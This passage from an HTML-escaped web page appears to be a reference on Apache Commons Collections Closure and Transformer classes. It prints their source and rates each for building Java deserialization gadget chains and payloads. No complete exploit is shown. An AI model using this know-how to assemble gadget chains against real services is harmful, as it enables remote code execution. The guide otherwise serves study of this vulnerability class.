&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iTrueClosure&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iFalseClosure&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NOPClosure&quot;&gt;NOPClosure&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// do nothing&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;SwitchClosure&quot;&gt;SwitchClosure&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;iClosures&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iDefault&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;TransformerClosure&quot;&gt;TransformerClosure&lt;/h3&gt;
&lt;p&gt;Essential Closure, enables to hide transformer in the closure.
With this we can process input data without destroying it so the next transformer can
call methods on the exactly same input object.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;WhileClosure&quot;&gt;WhileClosure&lt;/h3&gt;
&lt;p&gt;Increases expressivity of the language.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iDoLoop&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iClosure&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iClosure&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;transformer-glossary&quot;&gt;Transformer Glossary&lt;/h2&gt;
&lt;p&gt;List of all transformers available for use in gadgets with the key functionality.&lt;/p&gt;

&lt;h3 id=&quot;ChainedTransformer&quot;&gt;ChainedTransformer&lt;/h3&gt;
&lt;p&gt;Essential Transformer for chaining more transformers into one. Enables to construct invocation chains.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iTransformers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iTransformers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;CloneTransformer&quot;&gt;CloneTransformer&lt;/h3&gt;
&lt;p&gt;Quite useless.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PrototypeFactory&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ClosureTransformer&quot;&gt;ClosureTransformer&lt;/h3&gt;
&lt;p&gt;Essential for using Closures in the Transformer chain.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iClosure&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ConstantTransformer&quot;&gt;ConstantTransformer&lt;/h3&gt;
&lt;p&gt;Essential for starting a new Transformer chain. Input has to be Serializable so it works in the payload.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iConstant&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ExceptionTransformer&quot;&gt;ExceptionTransformer&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ExceptionTransformer invoked&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;FactoryTransformer&quot;&gt;FactoryTransformer&lt;/h3&gt;
&lt;p&gt;Useless.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iFactory&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;InstantiateTransformer&quot;&gt;InstantiateTransformer&lt;/h3&gt;
&lt;p&gt;Can be seen as a syntactic sugar - looks for constructor and instantiates a class.
This can be done also with &lt;a href=&quot;#ConstantTransformer&quot;&gt;ConstantTransformer&lt;/a&gt; and &lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;.
The benefit is the payload is smaller when using this Transformer for the purpose.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;instanceof&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;InstantiateTransformer: Input object was not an instanceof Class, it was a &quot;&lt;/span&gt;
                    &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;null object&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()));&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Constructor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;con&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getConstructor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iParamTypes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;con&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iArgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;NoSuchMethodException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InstantiateTransformer: The constructor must exist and be public &quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;InstantiationException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InstantiateTransformer: InstantiationException&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;IllegalAccessException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
